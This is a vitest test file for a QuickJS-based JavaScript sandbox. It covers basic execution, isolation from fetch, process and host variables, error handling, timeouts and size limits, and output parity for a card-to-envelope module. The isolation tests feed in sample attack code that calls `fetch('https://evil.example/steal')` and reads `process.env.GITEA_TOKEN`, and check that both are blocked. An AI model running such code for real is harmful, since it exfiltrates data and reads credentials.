import { describe, it, expect } from 'vitest';
import { readFileSync } from 'node:fs';
import { fileURLToPath } from 'node:url';
import { dirname, join } from 'node:path';
import { runCode, setVariant } from '../sandbox.mjs';
import { planCard } from './fixtures/card-to-envelope.oracle.mjs';
import baseVariant from '@jitl/quickjs-wasmfile-release-sync';
import { newVariant } from 'quickjs-emscripten-core';

const HERE = dirname(fileURLToPath(import.meta.url));
const FIX = join(HERE, 'fixtures');

// 注入與 production（Worker）同一條路徑：wasmfile variant + 預編 WebAssembly.Module。
// Worker 由 wrangler 把 import 的 .wasm 綁成 Module；此處在 Node 由 bytes 建 Module。
const wasmBytes = readFileSync(join(HERE, '..', 'node_modules', '@jitl', 'quickjs-wasmfile-release-sync', 'dist', 'emscripten-module.wasm'));
setVariant(newVariant(baseVariant, { wasmModule: new WebAssembly.Module(wasmBytes) }));

describe('① 基本 snippet 跑通', () => {
  it('sum: {return {sum: input.a + input.b}}', async () => {
    const r = await runCode('return {sum: input.a + input.b};', { a: 2, b: 40 });
    expect(r).toEqual({ success: true, data: { sum: 42 } });
  });

  it('可用純 ECMAScript 內建（Array/JSON/Math/Date）', async () => {
    const r = await runCode(
      'return {mapped: input.xs.map(x=>x*x), max: Math.max(...input.xs), isNum: typeof Date.now()};',
      { xs: [1, 2, 3] },
    );
    expect(r.success).toBe(true);
    expect(r.data.mapped).toEqual([1, 4, 9]);
    expect(r.data.max).toBe(3);
    expect(r.data.isNum).toBe('number');
  });
});

describe('② 沙箱隔離：無 ambient 能力', () => {
  it('fetch / process / require / WebAssembly / globalThis.env 皆 undefined', async () => {
    const r = await runCode(`return {
      fetch: typeof fetch,
      process: typeof process,
      require: typeof require,
      wasm: typeof WebAssembly,
      globalThisEnv: typeof (globalThis.env),
      xhr: typeof XMLHttpRequest,
    };`, {});
    expect(r.success).toBe(true);
    expect(r.data).toEqual({
      fetch: 'undefined', process: 'undefined', require: 'undefined',
      wasm: 'undefined', globalThisEnv: 'undefined', xhr: 'undefined',
    });
  });

  it('嘗試打網路（fetch）→ 被擋、回結構化 error（Worker 不掛）', async () => {
    const r = await runCode(`return fetch('https://evil.example/steal');`, {});
    expect(r.success).toBe(false);
    expect(r.error).toMatch(/fetch.*is not defined/i);
    expect(r.error_type).toBe('UserCodeError');
  });

  it('嘗試讀 env/secret → 讀不到（process undefined）', async () => {
    const r = await runCode(`return process.env.GITEA_TOKEN;`, {});
    expect(r.success).toBe(false);
    expect(r.error).toMatch(/process.*is not defined/i);
  });

  it('host 端變數不外洩：沙箱是獨立 heap', async () => {
    const r = await runCode(`return typeof GITEA_TOKEN + '|' + typeof globalThis.GITEA_TOKEN;`, {});
    expect(r.success).toBe(true);
    expect(r.data).toBe('undefined|undefined');
  });
});

describe('③ 錯誤處理 → 結構化 {error}', () => {
  it('user code 拋錯 → success:false + error 訊息', async () => {
    const r = await runCode(`throw new Error('boom');`, {});
    expect(r.success).toBe(false);
    expect(r.error).toMatch(/boom/);
    expect(r.error_type).toBe('UserCodeError');
  });

  it('語法錯誤 → 結構化 error（不炸 host）', async () => {
    const r = await runCode(`return {;`, {});
    expect(r.success).toBe(false);
    expect(r.error_type).toBe('UserCodeError');
  });
});

describe('④ 資源限制', () => {
  it('timeout：無窮迴圈 → TimeoutError（不掛死 host）', async () => {
    const r = await runCode(`while(true){}`, {}, { limits: { timeout_ms: 200 } });
    expect(r.success).toBe(false);
    expect(r.error_type).toBe('TimeoutError');
  }, 10000);

  it('輸出過大 → ResourceError', async () => {
    const r = await runCode(`return 'x'.repeat(input.n);`, { n: 5000 }, { limits: { max_output_bytes: 1000 } });
    expect(r.success).toBe(false);
    expect(r.error_type).toBe('ResourceError');
  });

  it('code 過大 → ResourceError', async () => {
    const big = '/*' + 'a'.repeat(3000) + '*/ return 1;';
    const r = await runCode(big, {}, { limits: { max_code_bytes: 1000 } });
    expect(r.success).toBe(false);
    expect(r.error_type).toBe('ResourceError');
  });
});

describe('⑤ 首個真實案例：card-to-envelope 在 code 零件內跑，產出與原模組一致', () => {
  const md = readFileSync(join(FIX, 'fixture-card.md'), 'utf8');
  const usercode = readFileSync(join(FIX, 'card-to-envelope.usercode.js'), 'utf8');
  const relPath = 'system-dev/wiki/cards/notes/沙箱示範卡.md';
  const repo = 'Leo/notes';

  // 移除時間相依欄位（Date.now()）以做穩定 deep-equal
  const strip = (plan) => {
    const p = structuredClone(plan);
    for (const e of p.envelopes) delete e.extractor.extracted_at;
    return p;
  };

  it('沙箱輸出 === 原始模組 planCard 輸出（entry/nodes/triplets/envelopes 全等）', async () => {
    const oracle = planCard(md, relPath, repo, {});
    const r = await runCode(usercode, { md, relPath, repo, opts: {} }, {
      limits: { timeout_ms: 3000, max_output_bytes: 4 * 1024 * 1024 },
    });
    expect(r.success).toBe(true);
    expect(strip(r.data)).toEqual(strip(oracle));
    expect(r.data.entry.page_name).toBe('wikicard:Leo/notes/沙箱示範卡');
    expect(r.data.entry.metadata.embed).toBe(true);
    // 注入的 sha256 builtin 與 node crypto 一致 → content_hash 逐字相同
    expect(r.data.entry.metadata.content_hash).toBe(oracle.entry.metadata.content_hash);
    expect(r.data.envelopes.length).toBeGreaterThanOrEqual(1);
  }, 15000);
});
